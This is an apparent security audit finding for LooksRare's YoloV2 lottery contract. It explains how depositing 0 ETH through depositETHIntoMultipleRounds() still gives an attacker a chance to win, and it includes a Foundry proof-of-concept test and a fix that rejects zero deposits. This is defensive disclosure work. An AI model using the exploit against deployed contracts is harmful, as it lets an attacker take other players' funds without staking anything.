Great Carmine Fox

high

# An attacker can win a round while depositing no assets

## Summary
The function [`depositETHIntoMultipleRounds()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362) can be used to perform a deposit of 0 ETH and still get a chance at winning the round.

## Vulnerability Detail
The function [`depositETHIntoMultipleRounds()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362) deposits ETH in the current round and subsequent ones but lacks validation about deposits being greater than 0 in every round.

An attacker can specify `[0,1e16]` as the function input while sending along `1e16` ETH, this will add an entry in the `round.deposits` array of the current round where:
```solidity
{ 
   tokenAmount: 0, 
   depositor: msg.sender,
   currentEntryIndex: previousEntryIndex
}
```

which results in the `round.deposits` array having different elements with the same `currentEntryIndex`.

Subsequently when [`fulfillRandomWords()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1270-L1296) is called by the chainlink oracle the attacker will have a chance of winning because the winner is chosen based on the indexes of the `round.deposits` array:
```solidity
round.winner = round.deposits[currentEntryIndexArray.findUpperBound(winningEntry)].depositor;
``` 

and the function [`findUpperBound()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/libraries/Arrays.sol#L20) will operate on an array with repeated elements, [which should not be the case](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/libraries/Arrays.sol#L17-L18).

This gives the attacker a chance of being selected as the winner while depositing no assets.

### POC

The PoC shows Bob can win a round while depositing 0 ETH, can be copy-pasted in `Yolo.depositETHIntoMultipleRounds.t.sol`:
```solidity
function test_depositETHIntoMultipleRoundsZero() public {
    //Setup
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    vm.deal(alice, 100 ether);
    vm.deal(bob, 100 ether);
    uint256[] memory randomWords = new uint256[](1);
    randomWords[0] = 8129;

    //Alice gets a fair entry ticket in both the current round and the following one
    uint256[] memory amounts = new uint256[](2);
    amounts[0] = 0.1 ether;
    amounts[1] = 0.1 ether;
    vm.prank(alice);
    yolo.depositETHIntoMultipleRounds{value: 0.2 ether}(amounts);

    //Bob gets an unfair entry ticket in the current round and a fair entry ticket in the following one
    amounts[0] = 0;
    amounts[1] = 0.1 ether;
    vm.prank(bob);
    yolo.depositETHIntoMultipleRounds{value: 0.1 ether}(amounts);

    //The round is drawn and the winner is chosen
    (,,,uint40 cutoffTime,,,,,,) = yolo.getRound(1);
    vm.warp(cutoffTime + 1);
    yolo.drawWinner();
    vm.prank(VRF_COORDINATOR);
    VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

    //Bob is the winner
    (,,,,,, address winner,,,) = yolo.getRound(1);
    assertEq(winner, bob);
}
```
## Impact
An attacker can win a round while depositing no assets.

## Code Snippet
- [`depositETHIntoMultipleRounds()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362)
## Tool used

Manual Review

## Recommendation
In [`depositETHIntoMultipleRounds()`](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L338-L340) add validation to make sure the deposit is greater than 0 on every round:
```solidity
uint256 depositAmount = amounts[i];
if (depositAmount % roundValuePerEntry != 0 || depositAmount == 0) {
    revert InvalidValue();
}
```
